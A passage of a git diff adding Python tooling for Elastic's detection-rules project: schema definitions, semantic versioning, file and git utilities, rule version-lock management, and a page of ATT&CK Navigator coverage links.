!= current_major: + raise ValueError(f"Cannot backport to major version {target_major}") + + for minor in reversed(range(target_minor, current_minor)): + version = Version([target_major, minor]) + if version not in migrations: + raise ValueError(f"Missing migration for {target_version}") + + api_contents = migrations[version](version, api_contents) + + return api_contents + + +@cached +def get_stack_schemas(stack_version: str) -> Dict[str, dict]: + """Return all ECS + beats to stack versions for a every stack version >= specified stack version and <= package.""" + from ..packaging import load_current_package_version + + stack_version = Version(stack_version) + current_package = Version(load_current_package_version()) + + if len(current_package) == 2: + current_package = Version(current_package + (0,)) + + stack_map = load_etc_dump('stack-schema-map.yaml') + versions = {k: v for k, v in stack_map.items() + if (mapped_version := Version(k)) >= stack_version and mapped_version <= current_package and v} + + if stack_version > current_package: + versions[stack_version] = {'beats': 'main', 'ecs': 'master'} + + return versions diff --git a/detection_rules/schemas/definitions.py b/detection_rules/schemas/definitions.py new file mode 100644 index 000000000..a6e1df250 --- /dev/null +++ b/detection_rules/schemas/definitions.py @@ -0,0 +1,80 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Custom shared definitions for schemas.""" + +from typing import List, Literal, Final + +from marshmallow import validate +from marshmallow_dataclass import NewType + +ASSET_TYPE = "security_rule" +SAVED_OBJECT_TYPE = "security-rule" + +DATE_PATTERN = r'^\d{4}/\d{2}/\d{2}$' +MATURITY_LEVELS = ['development', 'experimental', 'beta', 'production', 'deprecated'] +OS_OPTIONS = ['windows', 'linux', 'macos'] +NAME_PATTERN = r'^[a-zA-Z0-9].+?[a-zA-Z0-9()]$' +PR_PATTERN = r'^$|\d+$' +SHA256_PATTERN = r'^[a-fA-F0-9]{64}$' +UUID_PATTERN = r'^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$' + +_version = r'\d+\.\d+(\.\d+[\w-]*)*' +CONDITION_VERSION_PATTERN = rf'^\^{_version}$' +VERSION_PATTERN = f'^{_version}$' +BRANCH_PATTERN = f'{VERSION_PATTERN}|^master$' + +INTERVAL_PATTERN = r'^\d+[mshd]$' +TACTIC_URL = r'^https://attack.mitre.org/tactics/TA[0-9]+/$' +TECHNIQUE_URL = r'^https://attack.mitre.org/techniques/T[0-9]+/$' +SUBTECHNIQUE_URL = r'^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$' +MACHINE_LEARNING = 'machine_learning' +SAVED_QUERY = 'saved_query' +QUERY = 'query' + + +OPERATORS = ['equals'] + +TIMELINE_TEMPLATES: Final[dict] = { + 'db366523-f1c6-4c1f-8731-6ce5ed9e5717': 'Generic Endpoint Timeline', + '91832785-286d-4ebe-b884-1a208d111a70': 'Generic Network Timeline', + '76e52245-7519-4251-91ab-262fb1a1728c': 'Generic Process Timeline', + '495ad7a7-316e-4544-8a0f-9c098daee76e': 'Generic Threat Match Timeline' +} + + +NonEmptyStr = NewType('NonEmptyStr', str, validate=validate.Length(min=1)) + +BranchVer = NewType('BranchVer', str, validate=validate.Regexp(BRANCH_PATTERN)) +CardinalityFields = NewType('CardinalityFields', List[NonEmptyStr], validate=validate.Length(min=0, max=3)) +CodeString = NewType("CodeString", str) +ConditionSemVer = NewType('ConditionSemVer', str, validate=validate.Regexp(CONDITION_VERSION_PATTERN)) +Date = NewType('Date', str, validate=validate.Regexp(DATE_PATTERN)) +FilterLanguages = Literal["kuery", "lucene"] +Interval = NewType('Interval', str, validate=validate.Regexp(INTERVAL_PATTERN)) +Markdown = NewType("MarkdownField", CodeString) +Maturity = Literal['development', 'experimental', 'beta', 'production', 'deprecated'] +MaxSignals = NewType("MaxSignals", int, validate=validate.Range(min=1)) +Operator = Literal['equals'] +OSType = Literal['windows', 'linux', 'macos'] +PositiveInteger = NewType('PositiveInteger', int, validate=validate.Range(min=1)) +RiskScore = NewType("MaxSignals", int, validate=validate.Range(min=1, max=100)) +RuleName = NewType('RuleName', str, validate=validate.Regexp(NAME_PATTERN)) +RuleType = Literal['query', 'saved_query', 'machine_learning', 'eql', 'threshold', 'threat_match'] +SemVer = NewType('SemVer', str, validate=validate.Regexp(VERSION_PATTERN)) +Severity = Literal['low', 'medium', 'high', 'critical'] +Sha256 = NewType('Sha256', str, validate=validate.Regexp(SHA256_PATTERN)) +SubTechniqueURL = NewType('SubTechniqueURL', str, validate=validate.Regexp(SUBTECHNIQUE_URL)) +TacticURL = NewType('TacticURL', str, validate=validate.Regexp(TACTIC_URL)) +TechniqueURL = NewType('TechniqueURL', str, validate=validate.Regexp(TECHNIQUE_URL)) +ThresholdValue = NewType("ThresholdValue", int, validate=validate.Range(min=1)) +TimelineTemplateId = NewType('TimelineTemplateId', str, validate=validate.OneOf(list(TIMELINE_TEMPLATES))) +TimelineTemplateTitle = NewType('TimelineTemplateTitle', str, validate=validate.OneOf(TIMELINE_TEMPLATES.values())) +UUIDString = NewType('UUIDString', str, validate=validate.Regexp(UUID_PATTERN)) + + +# experimental machine learning features and releases +MachineLearningType = Literal['DGA', 'ProblemChild'] +MachineLearningTypeLower = Literal['dga', 'problemchild'] diff --git a/detection_rules/schemas/registry_package.py b/detection_rules/schemas/registry_package.py new file mode 100644 index 000000000..b94cf13c8 --- /dev/null +++ b/detection_rules/schemas/registry_package.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Definitions for packages destined for the registry.""" + +from dataclasses import dataclass +from typing import Dict, List, Optional + +from .definitions import ConditionSemVer, SemVer +from ..mixins import MarshmallowDataclassMixin + + +@dataclass +class RegistryPackageManifest(MarshmallowDataclassMixin): + """Base class for registry packages.""" + + categories: List[str] + conditions: Dict[str, ConditionSemVer] + description: str + format_version: SemVer + icons: list + license: str + name: str + owner: Dict[str, str] + release: str + title: str + type: str + version: SemVer + + internal: Optional[bool] = None + policy_templates: Optional[list] = None + screenshots: Optional[list] = None diff --git a/detection_rules/schemas/rta_schema.py b/detection_rules/schemas/rta_schema.py new file mode 100644 index 000000000..f86bcd9f2 --- /dev/null +++ b/detection_rules/schemas/rta_schema.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import jsl +import jsonschema + + +class MappingCount(jsl.Document): + """Mapping count schema.""" + + count = jsl.IntField(minimum=0, required=True) + rta_name = jsl.StringField(pattern=r'[a-zA-Z-_]+', required=True) + rule_name = jsl.StringField(required=True) + sources = jsl.ArrayField(jsl.StringField(), min_items=1) + + +mapping_schema = MappingCount.get_schema() + + +def validate_rta_mapping(mapping): + """Validate the RTA mapping.""" + jsonschema.validate(mapping, mapping_schema) diff --git a/detection_rules/semver.py b/detection_rules/semver.py new file mode 100644 index 000000000..85a83ca92 --- /dev/null +++ b/detection_rules/semver.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Helper functionality for comparing semantic versions.""" +import re +from typing import Iterable, Union + + +class Version(tuple): + + def __new__(cls, version: Union[str, Iterable]) -> 'Version': + if isinstance(version, (int, list, tuple)): + version_class = tuple.__new__(cls, version) + else: + version_tuple = tuple(int(a) if a.isdigit() else a for a in re.split(r'[.-]', version)) + version_class = tuple.__new__(cls, version_tuple) + + return version_class + + def __str__(self): + """Convert back to a string.""" + recovered_str = str(self[0]) + for additional in self[1:]: + if isinstance(additional, str): + recovered_str += "-" + additional + else: + recovered_str += "." + str(additional) + + return recovered_str diff --git a/detection_rules/utils.py b/detection_rules/utils.py new file mode 100644 index 000000000..71963aece --- /dev/null +++ b/detection_rules/utils.py @@ -0,0 +1,388 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Util functions.""" +import base64 +import contextlib +import distutils.spawn +import functools +import glob +import gzip +import hashlib +import io +import json +import os +import shutil +import subprocess +import time +import zipfile +from dataclasses import is_dataclass, astuple +from datetime import datetime, date +from pathlib import Path +from typing import Dict, Union, Optional, Callable + +import click +import pytoml +import eql.utils +from eql.utils import load_dump, stream_json_lines + +import kql + +CURR_DIR = os.path.dirname(os.path.abspath(__file__)) +ROOT_DIR = os.path.dirname(CURR_DIR) +ETC_DIR = os.path.join(ROOT_DIR, "etc") + + +class NonelessDict(dict): + """Wrapper around dict that doesn't populate None values.""" + + def __setitem__(self, key, value): + if value is not None: + dict.__setitem__(self, key, value) + + +class DateTimeEncoder(json.JSONEncoder): + def default(self, obj): + if isinstance(obj, (date, datetime)): + return obj.isoformat() + + +marshmallow_schemas = {} + + +def gopath() -> Optional[str]: + """Retrieve $GOPATH.""" + env_path = os.getenv("GOPATH") + if env_path: + return env_path + + go_bin = distutils.spawn.find_executable("go") + if go_bin: + output = subprocess.check_output([go_bin, "env"], encoding="utf-8").splitlines() + for line in output: + if line.startswith("GOPATH="): + return line[len("GOPATH="):].strip('"') + + +def dict_hash(obj: dict) -> str: + """Hash a dictionary deterministically.""" + raw_bytes = base64.b64encode(json.dumps(obj, sort_keys=True).encode('utf-8')) + return hashlib.sha256(raw_bytes).hexdigest() + + +def get_json_iter(f): + """Get an iterator over a JSON file.""" + first = f.read(2) + f.seek(0) + + if first[0] == '[' or first == "{\n": + return json.load(f) + else: + data = list(stream_json_lines(f)) + return data + + +def get_path(*paths) -> str: + """Get a file by relative path.""" + return os.path.join(ROOT_DIR, *paths) + + +def get_etc_path(*paths): + """Load a file from the etc/ folder.""" + return os.path.join(ETC_DIR, *paths) + + +def get_etc_glob_path(*patterns): + """Load a file from the etc/ folder.""" + pattern = os.path.join(*patterns) + return glob.glob(os.path.join(ETC_DIR, pattern)) + + +def get_etc_file(name, mode="r"): + """Load a file from the etc/ folder.""" + with open(get_etc_path(name), mode) as f: + return f.read() + + +def load_etc_dump(*path): + """Load a json/yml/toml file from the etc/ folder.""" + return eql.utils.load_dump(get_etc_path(*path)) + + +def save_etc_dump(contents, *path, **kwargs): + """Load a json/yml/toml file from the etc/ folder.""" + path = get_etc_path(*path) + _, ext = os.path.splitext(path) + sort_keys = kwargs.pop('sort_keys', True) + indent = kwargs.pop('indent', 2) + + if ext == ".json": + with open(path, "wt") as f: + json.dump(contents, f, cls=DateTimeEncoder, sort_keys=sort_keys, indent=indent, **kwargs) + else: + return eql.utils.save_dump(contents, path) + + +def gzip_compress(contents): + gz_file = io.BytesIO() + + with gzip.GzipFile(mode="w", fileobj=gz_file) as f: + if not isinstance(contents, bytes): + contents = contents.encode("utf8") + f.write(contents) + + return gz_file.getvalue() + + +def read_gzip(path): + with gzip.GzipFile(path, mode='r') as gz: + return gz.read().decode("utf8") + + +@contextlib.contextmanager +def unzip(contents): # type: (bytes) -> zipfile.ZipFile + """Get zipped contents.""" + zipped = io.BytesIO(contents) + archive = zipfile.ZipFile(zipped, mode="r") + + try: + yield archive + + finally: + archive.close() + + +def unzip_and_save(contents, path, member=None, verbose=True): + """Save unzipped from raw zipped contents.""" + with unzip(contents) as archive: + + if member: + archive.extract(member, path) + else: + archive.extractall(path) + + if verbose: + name_list = archive.namelist()[member] if not member else archive.namelist() + print('Saved files to {}: \n\t- {}'.format(path, '\n\t- '.join(name_list))) + + +def unzip_to_dict(zipped: zipfile.ZipFile, load_json=True) -> Dict[str, Union[dict, str]]: + """Unzip and load contents to dict with filenames as keys.""" + bundle = {} + for filename in zipped.namelist(): + if filename.endswith('/'): + continue + + fp = Path(filename) + contents = zipped.read(filename) + + if load_json and fp.suffix == '.json': + contents = json.loads(contents) + + bundle[fp.name] = contents + + return bundle + + +def event_sort(events, timestamp='@timestamp', date_format='%Y-%m-%dT%H:%M:%S.%f%z', asc=True): + """Sort events from elasticsearch by timestamp.""" + + def _event_sort(event): + t = event[timestamp] + return (time.mktime(time.strptime(t, date_format)) + int(t.split('.')[-1][:-1]) / 1000) * 1000 + + return sorted(events, key=_event_sort, reverse=not asc) + + +def combine_sources(*sources): # type: (list[list]) -> list + """Combine lists of events from multiple sources.""" + combined = [] + for source in sources: + combined.extend(source.copy()) + + return event_sort(combined) + + +def evaluate(rule, events): + """Evaluate a query against events.""" + evaluator = kql.get_evaluator(kql.parse(rule.query)) + filtered = list(filter(evaluator, events)) + return filtered + + +def unix_time_to_formatted(timestamp): # type: (int|str) -> str + """Converts unix time in seconds or milliseconds to the default format.""" + if isinstance(timestamp, (int, float)): + if timestamp > 2 ** 32: + timestamp = round(timestamp / 1000, 3) + + return datetime.utcfromtimestamp(timestamp).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3] + 'Z' + + +def normalize_timing_and_sort(events, timestamp='@timestamp', asc=True): + """Normalize timestamp formats and sort events.""" + for event in events: + _timestamp = event[timestamp] + if not isinstance(_timestamp, str): + event[timestamp] = unix_time_to_formatted(_timestamp) + + return event_sort(events, timestamp=timestamp, asc=asc) + + +def freeze(obj): + """Helper function to make mutable objects immutable and hashable.""" + if not isinstance(obj, type) and is_dataclass(obj): + obj = astuple(obj) + + if isinstance(obj, (list, tuple)): + return tuple(freeze(o) for o in obj) + elif isinstance(obj, dict): + return freeze(sorted(obj.items())) + else: + return obj + + +_cache = {} + + +def cached(f): + """Helper function to memoize functions.""" + func_key = id(f) + + @functools.wraps(f) + def wrapped(*args, **kwargs): + _cache.setdefault(func_key, {}) + cache_key = freeze(args), freeze(kwargs) + + if cache_key not in _cache[func_key]: + _cache[func_key][cache_key] = f(*args, **kwargs) + + return _cache[func_key][cache_key] + + def clear(): + _cache.pop(func_key, None) + + wrapped.clear = clear + return wrapped + + +def clear_caches(): + _cache.clear() + + +def load_rule_contents(rule_file: Path, single_only=False) -> list: + """Load a rule file from multiple formats.""" + _, extension = os.path.splitext(rule_file) + raw_text = rule_file.read_text() + + if extension in ('.ndjson', '.jsonl'): + # kibana exported rule object is ndjson with the export metadata on the last line + contents = [json.loads(line) for line in raw_text.splitlines()] + + if len(contents) > 1 and 'exported_count' in contents[-1]: + contents.pop(-1) + + if single_only and len(contents) > 1: + raise ValueError('Multiple rules not allowed') + + return contents or [{}] + elif extension == '.toml': + rule = pytoml.loads(raw_text) + else: + rule = load_dump(rule_file) + + if isinstance(rule, dict): + return [rule] + elif isinstance(rule, list): + return rule + else: + raise ValueError(f"Expected a list or dictionary in {rule_file}") + + +def format_command_options(ctx): + """Echo options for a click command.""" + formatter = ctx.make_formatter() + opts = [] + + for param in ctx.command.get_params(ctx): + if param.name == 'help': + continue + + rv = param.get_help_record(ctx) + if rv is not None: + opts.append(rv) + + if opts: + with formatter.section('Options'): + formatter.write_dl(opts) + + return formatter.getvalue() + + +def make_git(*prefix_args) -> Optional[Callable]: + git_exe = shutil.which("git") + prefix_args = [str(arg) for arg in prefix_args] + + if not git_exe: + click.secho("Unable to find git", err=True, fg="red") + ctx = click.get_current_context(silent=True) + + if ctx is not None: + ctx.exit(1) + + return + + def git(*args, print_output=False): + nonlocal prefix_args + + if '-C' not in prefix_args: + prefix_args = ['-C', get_path()] + prefix_args + + full_args = [git_exe] + prefix_args + [str(arg) for arg in args] + if print_output: + return subprocess.check_call(full_args) + return subprocess.check_output(full_args, encoding="utf-8").rstrip() + + return git + + +def git(*args, **kwargs): + """Find and run a one-off Git command.""" + return make_git()(*args, **kwargs) + + +def add_params(*params): + """Add parameters to a click command.""" + + def decorator(f): + if not hasattr(f, '__click_params__'): + f.__click_params__ = [] + f.__click_params__.extend(params) + return f + + return decorator + + +class Ndjson(list): + """Wrapper for ndjson data.""" + + def to_string(self, sort_keys: bool = False): + """Format contents list to ndjson string.""" + return '\n'.join(json.dumps(c, sort_keys=sort_keys) for c in self) + '\n' + + @classmethod + def from_string(cls, ndjson_string: str, **kwargs): + """Load ndjson string to a list.""" + contents = [json.loads(line, **kwargs) for line in ndjson_string.strip().splitlines()] + return Ndjson(contents) + + def dump(self, filename: Path, sort_keys=False): + """Save contents to an ndjson file.""" + filename.write_text(self.to_string(sort_keys=sort_keys)) + + @classmethod + def load(cls, filename: Path, **kwargs): + """Load content from an ndjson file.""" + return cls.from_string(filename.read_text(), **kwargs) diff --git a/detection_rules/version_lock.py b/detection_rules/version_lock.py new file mode 100644 index 000000000..693e0b73b --- /dev/null +++ b/detection_rules/version_lock.py @@ -0,0 +1,229 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. +"""Helper utilities to manage the version lock.""" +from copy import deepcopy +from typing import List, Optional + +import click + +from .rule_loader import RuleCollection +from .semver import Version +from .utils import dict_hash, load_etc_dump, save_etc_dump, cached + +ETC_VERSION_LOCK_FILE = "version.lock.json" +ETC_DEPRECATED_RULES_FILE = "deprecated_rules.json" +MIN_LOCK_VERSION_DEFAULT = Version("7.13.0") + + +def _convert_lock_version(stack_version: Optional[str]) -> Version: + """Convert an optional stack version to the minimum for the lock.""" + if stack_version is None: + return MIN_LOCK_VERSION_DEFAULT + return max(Version(stack_version), MIN_LOCK_VERSION_DEFAULT) + + +@cached +def load_versions(): + """Load the versions file.""" + return load_etc_dump(ETC_VERSION_LOCK_FILE) + + +class VersionLock: + """Version handling for rule files and collections.""" + + def __init__(self, version_lock_file: Optional[str] = None, deprecated_lock_file: Optional[str] = None, + version_lock: Optional[dict] = None, deprecated_lock: Optional[dict] = None, + name: Optional[str] = None): + assert (version_lock_file or version_lock), 'Must provide version lock file or contents' + assert (deprecated_lock_file or deprecated_lock), 'Must provide deprecated lock file or contents' + + self.name = name + self.version_lock_file = version_lock_file + self.deprecated_lock_file = deprecated_lock_file + + self.version_lock = load_etc_dump(self.version_lock_file) if version_lock_file else version_lock + self.deprecated_lock = load_etc_dump(self.deprecated_lock_file) if deprecated_lock_file else deprecated_lock + + def save_versions(self, current_versions: dict): + save_etc_dump(current_versions, self.version_lock_file) + print('Updated version.lock.json file') + + def get_locked_version(self, rule_id: str, min_stack_version: Optional[str] = None) -> Optional[int]: + if rule_id in self.version_lock: + latest_version_info = self.version_lock[rule_id] + stack_version_info = latest_version_info.get("previous", {}).get(min_stack_version, latest_version_info) + return stack_version_info['version'] + + def get_locked_hash(self, rule_id: str, min_stack_version: Optional[str] = None) -> Optional[str]: + """Get the version info matching the min_stack_version if present.""" + if rule_id in self.version_lock: + latest_version_info = self.version_lock[rule_id] + stack_version_info = latest_version_info.get("previous", {}).get(min_stack_version, latest_version_info) + existing_sha256: str = stack_version_info['sha256'] + return existing_sha256 + + def manage_versions(self, rules: RuleCollection, + exclude_version_update=False, save_changes=False, + verbose=True) -> (List[str], List[str], List[str]): + """Update the contents of the version.lock file and optionally save changes.""" + from .packaging import current_stack_version + + lock_file_contents = deepcopy(self.version_lock) + version_lock_hash = dict_hash(lock_file_contents) + current_deprecated_lock = deepcopy(self.deprecated_lock) + + verbose_echo = click.echo if verbose else (lambda x: None) + + already_deprecated = set(current_deprecated_lock) + deprecated_rules = set(rules.deprecated.id_map) + new_rules = set(rule.id for rule in rules if rule.contents.latest_version is None) - deprecated_rules + changed_rules = set(rule.id for rule in rules if rule.contents.is_dirty) - deprecated_rules + + # manage deprecated rules + newly_deprecated = deprecated_rules - already_deprecated + + if not (new_rules or changed_rules or newly_deprecated): + return list(changed_rules), list(new_rules), list(newly_deprecated) + + verbose_echo('Rule changes detected!') + + route = None + existing_rule_lock = {} + original_hash = None + changes = [] + + def add_changes(r, *msg): + if not original_hash or original_hash != current_rule_lock['sha256']: + new = [f' {route}: {r.id}, new version: {existing_rule_lock["version"]}'] + new.extend([f' - {m}' for m in msg if m]) + changes.extend(new) + + for rule in rules: + if rule.contents.metadata.maturity == "production" or rule.id in newly_deprecated: + # assume that older stacks are always locked first + min_stack = _convert_lock_version(rule.contents.metadata.min_stack_version) + + current_rule_lock = rule.contents.lock_info(bump=not exclude_version_update) + existing_rule_lock: dict = lock_file_contents.setdefault(rule.id, {}) + original_hash = existing_rule_lock.get('sha256') + + # prevent rule type changes for already locked and released rules (#1854) + if existing_rule_lock: + name = current_rule_lock['rule_name'] + existing_type = existing_rule_lock['type'] + current_type = current_rule_lock['type'] + if existing_type != current_type: + err_msg = f'cannot change "type" in locked rule: {name} from {existing_type} to {current_type}' + raise ValueError(err_msg) + + # scenarios to handle, assuming older stacks are always locked first: + # 1) no breaking changes ever made or the first time a rule is created + # 2) on the latest, after a breaking change has been locked + # 3) on the latest stack, locking in a breaking change + # 4) on an old stack, after a breaking change has been made + latest_locked_stack_version = _convert_lock_version(existing_rule_lock.get("min_stack_version")) + + if not existing_rule_lock or min_stack == latest_locked_stack_version: + route = 'A' + # 1) no breaking changes ever made or the first time a rule is created + # 2) on the latest, after a breaking change has been locked + existing_rule_lock.update(current_rule_lock) + + # add the min_stack_version to the lock if it's explicitly set + log_msg = None + if rule.contents.metadata.min_stack_version is not None: + existing_rule_lock["min_stack_version"] = str(min_stack) + log_msg = f'min_stack_version added: {min_stack}' + + add_changes(rule, log_msg) + + elif min_stack > latest_locked_stack_version: + route = 'B' + # 3) on the latest stack, locking in a breaking change + previous_lock_info = { + "rule_name": existing_rule_lock["rule_name"], + "sha256": existing_rule_lock["sha256"], + "version": existing_rule_lock["version"], + } + existing_rule_lock.setdefault("previous", {}) + + # move the current locked info into the previous section + existing_rule_lock["previous"][str(latest_locked_stack_version)] = previous_lock_info + + # overwrite the "latest" part of the lock at the top level + # TODO: would need to preserve space here as well if supporting forked version spacing + existing_rule_lock.update(current_rule_lock, min_stack_version=str(min_stack)) + add_changes( + rule, + f'previous {latest_locked_stack_version} saved as version: {previous_lock_info["version"]}', + f'current min_stack updated to {min_stack}' + ) + + elif min_stack < latest_locked_stack_version: + route = 'C' + # 4) on an old stack, after a breaking change has been made (updated fork) + assert str(min_stack) in existing_rule_lock.get("previous", {}), \ + f"Expected {rule.id} @ v{min_stack} in the rule lock" + + # TODO: Figure out whether we support locking old versions and if we want to + # "leave room" by skipping versions when breaking changes are made. + # We can still inspect the version lock manually after locks are made, + # since it's a good summary of everything that happens + existing_rule_lock["previous"][str(min_stack)] = current_rule_lock + existing_rule_lock.update(current_rule_lock) + add_changes(rule, f'previous version {min_stack} updated version to {current_rule_lock["version"]}') + continue + else: + raise RuntimeError("Unreachable code") + + if 'previous' in existing_rule_lock: + current_rule_version = rule.contents.lock_info()['version'] + for min_stack_version, versioned_lock in existing_rule_lock['previous'].items(): + existing_lock_version = versioned_lock['version'] + if current_rule_version < existing_lock_version: + raise ValueError(f'{rule.id} - previous {min_stack_version=} {existing_lock_version=} ' + f'has a higher version than {current_rule_version=}') + + for rule in rules.deprecated: + if rule.id in newly_deprecated: + current_deprecated_lock[rule.id] = { + "rule_name": rule.name, + "stack_version": current_stack_version(), + "deprecation_date": rule.contents.metadata['deprecation_date'] + } + + if save_changes or verbose: + click.echo(f' - {len(changed_rules)} changed rules') + click.echo(f' - {len(new_rules)} new rules') + click.echo(f' - {len(newly_deprecated)} newly deprecated rules') + + if save_changes: + click.echo('Detailed changes: \n' + '\n'.join(changes)) + + if not save_changes: + verbose_echo( + 'run `build-release --update-version-lock` to update version.lock.json and deprecated_rules.json') + return list(changed_rules), list(new_rules), list(newly_deprecated) + + new_hash = dict_hash(lock_file_contents) + + if version_lock_hash != new_hash: + save_etc_dump(lock_file_contents, ETC_VERSION_LOCK_FILE) + click.echo('Updated version.lock.json file') + + # reset local version lock + self.version_lock = lock_file_contents + + if newly_deprecated: + save_etc_dump(current_deprecated_lock, ETC_DEPRECATED_RULES_FILE) + click.echo('Updated deprecated_rules.json file') + + # reset local version lock + self.deprecated_lock = current_deprecated_lock + + return changed_rules, list(new_rules), newly_deprecated + + +default_version_lock = VersionLock(ETC_VERSION_LOCK_FILE, ETC_DEPRECATED_RULES_FILE, name='default') diff --git a/docs/ATT&CK-coverage.md b/docs/ATT&CK-coverage.md new file mode 100644 index 000000000..c423a0731 --- /dev/null +++ b/docs/ATT&CK-coverage.md @@ -0,0 +1,83 @@ +# Rule coverage + +ATT&CK navigator layer files are generated when a package is built with `make release` or `python -m detection-rules`. +This also means they can be downloaded from all successful builds. + +These files can be used to pass to a custom navigator +session. For convenience, the links are generated below. You can also include multiple across tabs in a single session, +though it is not advisable to upload _all_ of them as it will likely overload your browsers resources. + +## Current rule coverage + +The source files for these links are regenerated with every successful merge to main. These represent coverage from the +state of rules in the `main` branch. + + +**Full coverage**: [![ATT&CK navigator coverage](https://img.shields.io/badge/ATT&CK-Navigator-red.svg)](https://ela.st/detection-rules-navigator) + + +**Coverage by platform**: [navigator](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-platforms.json&leave_site_dialog=false&tabs=false) + + +| other navigator links by rule attributes | +|------------------------------------------| +|[Elastic-detection-rules-indexes-auditbeat-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-auditbeat-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-filebeat-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-filebeat-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-awsWILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-awsWILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-azureWILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-azureWILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-cyberarkpas](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-cyberarkpas.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-endpoint](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-endpoint.events.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-gcpWILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-gcpWILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-google_workspaceWILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-google_workspaceWILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-o365WILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-o365WILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-oktaWILDCARD](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-oktaWILDCARD.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-system](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-system.json&leave_site_dialog=false&tabs=false)| +|[Elastic-detection-rules-indexes-logs-windows](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-windows.json&leave_site_dialog=false&tabs=false)| 